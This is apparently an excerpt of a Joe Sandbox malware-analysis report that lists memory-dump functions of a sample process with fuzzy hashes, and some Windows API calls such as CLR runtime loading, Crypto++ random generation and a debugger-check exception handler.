Source File: 0000000E.00000002.2591460757.0000000002A20000.00000040.00000800.00020000.00000000.sdmp, Offset: 02A20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2a20000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d450030ce262be2dfed23ed1caba574d3da19a640d8a562b27daa402e5f4882f
Instruction ID: 483e64dbc6bc25bdddee5fcd9354e1e9989041b3fb4ac72f4f433e750926bc75
Opcode Fuzzy Hash: d450030ce262be2dfed23ed1caba574d3da19a640d8a562b27daa402e5f4882f
Instruction Fuzzy Hash: 17210574E08219DFCB05CF98C840AEEBBB5FF49314F008429E925A7350CB359948DFA0

Function 02A20C78 Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2591460757.0000000002A20000.00000040.00000800.00020000.00000000.sdmp, Offset: 02A20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2a20000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c61db8ae0bc03e5cc83970f5e77216b396ad5abe4f4a84a0a492916007808bd7
Instruction ID: 851cc15434b9d69a9cc3e427d687107ff0e118f5ceca759080d2903ebb25c7b1
Opcode Fuzzy Hash: c61db8ae0bc03e5cc83970f5e77216b396ad5abe4f4a84a0a492916007808bd7
Instruction Fuzzy Hash: F221E7B0E0521A8FCB05DFB9C940AEEBBB9AF99300F009629D415B7391DB749909CF61

Function 02A20C88 Relevance: .1, Instructions: 58COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2591460757.0000000002A20000.00000040.00000800.00020000.00000000.sdmp, Offset: 02A20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2a20000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3645a0be8b8df45686c2410a4a01bb2e7d1fd893135fdd1b1ea13d70837f19e1
Instruction ID: d06973f7ee954ff869935afcea6f3bfc9ef23a14915d35756dfbb28168318fa0
Opcode Fuzzy Hash: 3645a0be8b8df45686c2410a4a01bb2e7d1fd893135fdd1b1ea13d70837f19e1
Instruction Fuzzy Hash: 2011D7B0E0521A8BCB04DFA9C940AEEBBB9BF98300F009625D415B7355DB749909CBA1

Function 00FBD95F Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2483107229.0000000000FBD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FBD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_fbd000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 523fabb44b02fcaa1064eae8d9a10a48e2cd5a800d24befd30ec8c8c27650fb1
Instruction ID: 04d7b3b85edd5cdbeac6dfd14a803e22c267134a554c1b4fd2bb8e8b252bde97
Opcode Fuzzy Hash: 523fabb44b02fcaa1064eae8d9a10a48e2cd5a800d24befd30ec8c8c27650fb1
Instruction Fuzzy Hash: 2311AC76908280CFCB12CF10D584B56BF66FB84324F2486A9D8090B656C33AD81ADFA2

Function 00FBDA47 Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2483107229.0000000000FBD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FBD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_fbd000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8f2dc214fb3b67dee6d63525546fcd79b48668cd63b1e3b0b14567c0ac11da0e
Instruction ID: bb2044a9d375b6e645aacbe0f0c720633c4e713e8dd61f3af660848e8fbdfad7
Opcode Fuzzy Hash: 8f2dc214fb3b67dee6d63525546fcd79b48668cd63b1e3b0b14567c0ac11da0e
Instruction Fuzzy Hash: BC11E276904280CFCB16CF10D5C4B56BF71FB84324F24C6A9D8094B656C33AD81ADFA2

Function 00FBD447 Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2483107229.0000000000FBD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FBD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_fbd000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7b4c623aaf12d799d01dfa0934b93cccf601b23327cf73bb2393620fe977b88f
Instruction ID: 92e666f300c2f9486578f1136faece82f3a0ef26078fbe2fe8854e3ba6114f4e
Opcode Fuzzy Hash: 7b4c623aaf12d799d01dfa0934b93cccf601b23327cf73bb2393620fe977b88f
Instruction Fuzzy Hash: E2110175904280CFDB11CF10D5C4B59BF61FB84324F28C6A9D8490B656C33AE84ACFA2

Function 05BC0868 Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2658558268.0000000005BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05BC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_5bc0000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 054425e28ebb712f51c52945e05bb540ab45dbce375811feed82dd00703b3d11
Instruction ID: e297b49ff537d667af60f5d1a0aeded0e16e4e14421779f8b68ee7dcbcfae435
Opcode Fuzzy Hash: 054425e28ebb712f51c52945e05bb540ab45dbce375811feed82dd00703b3d11
Instruction Fuzzy Hash: 2E015A313101109FC748EBADD899C6EBBFAEF8962435144ADF10ACB3B1DE61EC018B90

Function 00F9D149 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2474791574.0000000000F9D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F9D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_f9d000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1e500725d581b4d9099f9df35ee4b8a347058d6c49ec2ae7269795d0cad4d449
Instruction ID: 7889ac4e0913fc19ca2d7086b0d094beeb66811eb2c72b55382afb9597a1c7a0
Opcode Fuzzy Hash: 1e500725d581b4d9099f9df35ee4b8a347058d6c49ec2ae7269795d0cad4d449
Instruction Fuzzy Hash: 4E012B735043049AFB209B15CD84B67BF9CEF45334F38C52AED080A286C2799881E671

Function 00F9D148 Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2474791574.0000000000F9D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F9D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_f9d000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 29909b13a8b4c8f9e09ae9032ba15014943807ce872131503ef321b0ed0d9e7e
Instruction ID: 8f56e778cd8682a16585ac8db8f1848645e8d4a70dcd311b7a2a35c6fc734260
Opcode Fuzzy Hash: 29909b13a8b4c8f9e09ae9032ba15014943807ce872131503ef321b0ed0d9e7e
Instruction Fuzzy Hash: 50F0C2724043449AFB208A06CC84B62FFA8EF91334F28C45AED480A286C2799840DAB1

Function 02A20B10 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2591460757.0000000002A20000.00000040.00000800.00020000.00000000.sdmp, Offset: 02A20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2a20000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0d07cfc480a843be0cf994c2c0b5c4d6ec828dbf297cd3e24d1667f2ebeb2efe
Instruction ID: 76128780740b57ed2ad391d811145fcae77b4ef7fd1d2f3823ce812e0194471f
Opcode Fuzzy Hash: 0d07cfc480a843be0cf994c2c0b5c4d6ec828dbf297cd3e24d1667f2ebeb2efe
Instruction Fuzzy Hash: ACF0E576C0D388CFCB11CBA4C4500E87F35DDA6250B8502D7D046DB161E635960ADB10

Function 02A29F50 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2591460757.0000000002A20000.00000040.00000800.00020000.00000000.sdmp, Offset: 02A20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2a20000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 22f36d8dac510723afe4b8700071c1e181dc6366c476c249e3c0f25393050a76
Instruction ID: 5f3ac84aedffb8cea3ec4907bca8d412f3807269a613ecc7f02df1ab9f338716
Opcode Fuzzy Hash: 22f36d8dac510723afe4b8700071c1e181dc6366c476c249e3c0f25393050a76
Instruction Fuzzy Hash: C6E0ED74D0520CEFCB94DFA8D8445DDBBB5FB48310F10C1AAAC1492350D7355A54EF40

Function 02A28180 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2591460757.0000000002A20000.00000040.00000800.00020000.00000000.sdmp, Offset: 02A20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2a20000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 35b65ca9145a2ab84119d26bd044539f67faa879faaa02bb6284af82cedeb8fb
Instruction ID: d218a6efeb2620883080247a592e535369f1387b3551924577b751a547074c6c
Opcode Fuzzy Hash: 35b65ca9145a2ab84119d26bd044539f67faa879faaa02bb6284af82cedeb8fb
Instruction Fuzzy Hash: EED05B3084E12CDFC718DF6CD5445BC7BB8AB46305F405194A509232E2CF34695CDB95

Function 02A28BE8 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2591460757.0000000002A20000.00000040.00000800.00020000.00000000.sdmp, Offset: 02A20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2a20000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e470e463746508ecfc5e89dca5fadd51e60a677c28ab4830364f27299b2586bc
Instruction ID: 91dcbd565c5cc2e98d0accbd6f9da8b5be6ca728b6ea3d17b57074b530268494
Opcode Fuzzy Hash: e470e463746508ecfc5e89dca5fadd51e60a677c28ab4830364f27299b2586bc
Instruction Fuzzy Hash: BDD05EB081620CEFC740DFA899486AD77F8E709301F404594B808C3211DB355A14EB51

Function 02A28B00 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2591460757.0000000002A20000.00000040.00000800.00020000.00000000.sdmp, Offset: 02A20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2a20000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e7ef5b2ee0c861889489c57a0b11a19645727a9ae1910ebeb2e0fd6d8d388ce4
Instruction ID: 9ee392ca3a7d024640c72973402f3d8ba27f41720e66c3e307067265ebcfc30e
Opcode Fuzzy Hash: e7ef5b2ee0c861889489c57a0b11a19645727a9ae1910ebeb2e0fd6d8d388ce4
Instruction Fuzzy Hash: 00D05EB090620CDFC700EFA8A9486AD7BF8E709301F4045A8A908C3211DB355E10EA61

Function 02A209E8 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2591460757.0000000002A20000.00000040.00000800.00020000.00000000.sdmp, Offset: 02A20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2a20000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0cf774a03742dc1b66811d68e4058a5a7987433915e71a8008f57382c1567f33
Instruction ID: 36eab4c6c3e990746876922ea078383d3ee884b2244b6c4f9119338c22a4a482
Opcode Fuzzy Hash: 0cf774a03742dc1b66811d68e4058a5a7987433915e71a8008f57382c1567f33
Instruction Fuzzy Hash: 49D0222100C29C4DC30127F838483F83B7AAB3AB02FC80B04E44801872EF36200CEA11

Function 02A20838 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2591460757.0000000002A20000.00000040.00000800.00020000.00000000.sdmp, Offset: 02A20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2a20000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0e1e579f197cdefbc65e8389fd5c17ecd83e62be600ca07fe7ea003879b74123
Instruction ID: f222d444c9b648f64c1e2ef7d14c5eef30c755116a1558397c3ac0c58cabe2cb
Opcode Fuzzy Hash: 0e1e579f197cdefbc65e8389fd5c17ecd83e62be600ca07fe7ea003879b74123
Instruction Fuzzy Hash: 10D0223004C24C4EEB1607F868863E93F389306302F080B48EC8D800E3C790001AEE82

Function 02A2BC30 Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2591460757.0000000002A20000.00000040.00000800.00020000.00000000.sdmp, Offset: 02A20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2a20000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f0740a4a755bbb6e86cc0521222c08435f64711ecab974b36aabcbcf50d37d11
Instruction ID: ba9c50398df2a5646281c78683b552d97aa4569ae3846b28e3fbdc428ffabdd8
Opcode Fuzzy Hash: f0740a4a755bbb6e86cc0521222c08435f64711ecab974b36aabcbcf50d37d11
Instruction Fuzzy Hash: 6AD0123020530C9FDF109BB5DD4C71A7F99AB05666F00D835F849C2250DF36D455DB60

Function 02A29850 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2591460757.0000000002A20000.00000040.00000800.00020000.00000000.sdmp, Offset: 02A20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2a20000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 912adfe54c0e23c1b48e15f51af52e4537c972b6c1e33265b0e5548df6f8a6d3
Instruction ID: fb7b4b6510bb08032171d103fcf5209fe597c06f775dbdf768a8bd1878f118d0
Opcode Fuzzy Hash: 912adfe54c0e23c1b48e15f51af52e4537c972b6c1e33265b0e5548df6f8a6d3
Instruction Fuzzy Hash: 4ED0C76040839D89D71193A97D883613ED46302719F4C1255F444407A3C7A9509CFE61

Function 02A209F8 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2591460757.0000000002A20000.00000040.00000800.00020000.00000000.sdmp, Offset: 02A20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2a20000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f67915e6f6245cbf76ff95475983add6be73f7488e00b1fb2932a06d2ec2bbcb
Instruction ID: dbdc5e14f5db5c14478ebc33d41d7583154311c60c433f8f8588337d7c097f46
Opcode Fuzzy Hash: f67915e6f6245cbf76ff95475983add6be73f7488e00b1fb2932a06d2ec2bbcb
Instruction Fuzzy Hash: 0CC08C3004921C8EC10423EC79483B872AE2729306FC00200A00D008629F615018E962

Function 02A20848 Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2591460757.0000000002A20000.00000040.00000800.00020000.00000000.sdmp, Offset: 02A20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_2a20000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d1d7cd754360478c5a41ad9040310a5c67c05b41b3207f363c3cf6b4bd4769ea
Instruction ID: 10207455f8f76b052cef705b90a377e93c90fa66353b168eb6112a9f40a2ab56
Opcode Fuzzy Hash: d1d7cd754360478c5a41ad9040310a5c67c05b41b3207f363c3cf6b4bd4769ea
Instruction Fuzzy Hash: D7C09B3004961C8EC9151B9CB9487B57ABC5715317F891614A50D814B3CF656464FDD5

Non-executed Functions

Function 6895A0C0 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 227libraryloaderCOMMON

Download Yara Rule

APIs

CorBindToRuntimeEx.MSCOREE(v2.0.50727,wks,00000000,689D0634,689D0738,?), ref: 6895A119
GetModuleHandleW.KERNEL32(mscorwks), ref: 6895A145
__cftoe.LIBCMT ref: 6895A1FB
GetModuleHandleW.KERNEL32(?), ref: 6895A215
GetProcAddress.KERNEL32(00000000,00000018), ref: 6895A265

Strings

v2.0.50727, xrefs: 6895A110
mscorwks, xrefs: 6895A140
wks, xrefs: 6895A10B

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: HandleModule$AddressBindProcRuntime__cftoe
String ID: mscorwks$v2.0.50727$wks
API String ID: 1312202379-2066655427
Opcode ID: ff39d78d3dca99b1940dbaecfa514eb7bed09826185951b148b1d9614e68f748
Instruction ID: 81da0d0d8f2703cbc775e664d24b73216827a251e29edda91cd409e461aaaaf9
Opcode Fuzzy Hash: ff39d78d3dca99b1940dbaecfa514eb7bed09826185951b148b1d9614e68f748
Instruction Fuzzy Hash: 72916B70E042499FCB04CFE8D8849AEBBF5BF49314F90826DE529EB240D734D945CBA9

Function 6899DBB0 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 75encryptionCOMMON

Download Yara Rule

APIs

CryptAcquireContextA.ADVAPI32(?,00000000,00000000,00000001,F0000000,513F6A41,689C8180,00000000,?), ref: 6899DBFB
GetLastError.KERNEL32 ref: 6899DC01
CryptAcquireContextA.ADVAPI32(?,Crypto++ RNG,00000000,00000001,00000008), ref: 6899DC15
CryptAcquireContextA.ADVAPI32(?,Crypto++ RNG,00000000,00000001,00000028), ref: 6899DC26
SetLastError.KERNEL32(00000000), ref: 6899DC2D

Part of subcall function 6899D9D0: GetLastError.KERNEL32(00000010,513F6A41,7508FC30,?,00000000), ref: 6899DA1A

__CxxThrowException@8.LIBCMT ref: 6899DC78

Part of subcall function 689AAC75: RaiseException.KERNEL32(?,?,689A9C34,513F6A41,?,?,?,?,689A9C34,513F6A41,689D9C90,689EB974,513F6A41), ref: 689AACB7

Strings

Crypto++ RNG, xrefs: 6899DC0D, 6899DC20
CryptAcquireContext, xrefs: 6899DC35

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: AcquireContextCryptErrorLast$ExceptionException@8RaiseThrow
String ID: CryptAcquireContext$Crypto++ RNG
API String ID: 3279666080-1159690233
Opcode ID: 750e3824212ef23ec3601585641a91354d6fb915f0783c6ca5c9e3c5a94d5f3f
Instruction ID: b2ee57b80ad3c4a01584e696c49e757c552ccf8abfbf83997cb24e0034a924a4
Opcode Fuzzy Hash: 750e3824212ef23ec3601585641a91354d6fb915f0783c6ca5c9e3c5a94d5f3f
Instruction Fuzzy Hash: CE21847129C340AFE720DF64CC45F6F7BE8AB99794F84091DF541A62C0EBB6E4048B56

Function 689A948B Relevance: 7.6, APIs: 5, Instructions: 58COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 689ACE6C
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 689ACE81
UnhandledExceptionFilter.KERNEL32(689C9428), ref: 689ACE8C
GetCurrentProcess.KERNEL32(C0000409), ref: 689ACEA8
TerminateProcess.KERNEL32(00000000), ref: 689ACEAF

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: 1e6bdf5ad61709161f8d3ec5a16b79810282037bf02c9e390c86a3b5c63f7c90
Instruction ID: 7a77194b68031a0dc39dfea28fad0f2d93a0d9434f807bcbeddbbf3a20c9750b
Opcode Fuzzy Hash: 1e6bdf5ad61709161f8d3ec5a16b79810282037bf02c9e390c86a3b5c63f7c90
Instruction Fuzzy Hash: DA2199B5909304DFCF61DF68D58864D3FF4BF0A309F50405AE50AA7A90E7B199808F5A

Function 68995DD0 Relevance: 6.4, APIs: 4, Instructions: 390COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 42804cacdc01b8a678c5ddf8633becdb6796a5403bcf93b13fe510c154af34f2
Instruction ID: 3d4ef90983fd91adbbb29cb5f77d90ed48b178f870d3e383951ab2c5c4651360
Opcode Fuzzy Hash: 42804cacdc01b8a678c5ddf8633becdb6796a5403bcf93b13fe510c154af34f2
Instruction Fuzzy Hash: 78026A704183948FC744CF69D8A453EBBF1EFCA212F41091EE6FA672A6D234B558CB61

Function 68995EB9 Relevance: 6.3, APIs: 4, Instructions: 318COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 689962FC
_memmove.LIBCMT ref: 6899632B
_memmove.LIBCMT ref: 6899635A
_memmove.LIBCMT ref: 68996389

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: _memmove
String ID:
API String ID: 4104443479-0
Opcode ID: a56b3235f6f4d1abffaecd1ec8a24a5e75f59245f2f28c02092cbdec27c6ec90
Instruction ID: 7f51df700778ff8b45cba5bc3201ee4794165ef05bd694197b41b39ab50be206
Opcode Fuzzy Hash: a56b3235f6f4d1abffaecd1ec8a24a5e75f59245f2f28c02092cbdec27c6ec90
Instruction Fuzzy Hash: 05E16B7041C3958EC744CB69D8A453E7FF1EBCA222F41051EE6F6772AAD234B169CB21

Function 6899DE00 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 57encryptionCOMMON

Download Yara Rule

APIs

CryptGenRandom.ADVAPI32(?,?,?,513F6A41,00000000), ref: 6899DE6F
__CxxThrowException@8.LIBCMT ref: 6899DEB9

Part of subcall function 6899DD20: CryptReleaseContext.ADVAPI32(00000000,00000000,?,?,?,?,?,?,?,?,00000000,689BF0E6,000000FF,6899DF67,00000000,?), ref: 6899DDB4

Strings

CryptGenRandom, xrefs: 6899DE7B

Memory Dump Source

Source File: 0000000E.00000002.2681350500.0000000068941000.00000020.00000001.01000000.00000027.sdmp, Offset: 68940000, based on PE: true

Associated: 0000000E.00000002.2680641954.0000000068940000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2687798649.00000000689C4000.00000002.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688501762.00000000689DE000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688558472.00000000689E0000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2688623479.00000000689E1000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2692841937.00000000689E3000.00000008.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EA000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2694619679.00000000689EC000.00000004.00000001.01000000.00000027.sdmpDownload File
Associated: 0000000E.00000002.2698075637.00000000689EE000.00000002.00000001.01000000.00000027.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_68940000_A_22rjVO67ooiUk2ueyL6tMl.jbxd

Similarity

API ID: Crypt$ContextException@8RandomReleaseThrow
String ID: CryptGenRandom
API String ID: 1047471967-3616286655
Opcode ID: 90e54d56a01a4ee6f1664ea0d024f168e10530a56e681fdc2420aecd9da09b3f
Instruction ID: a8e9c42c15f19f688d8d47cc32d24576c799e403c1f0e1b2ff70032e4b5d0ad7
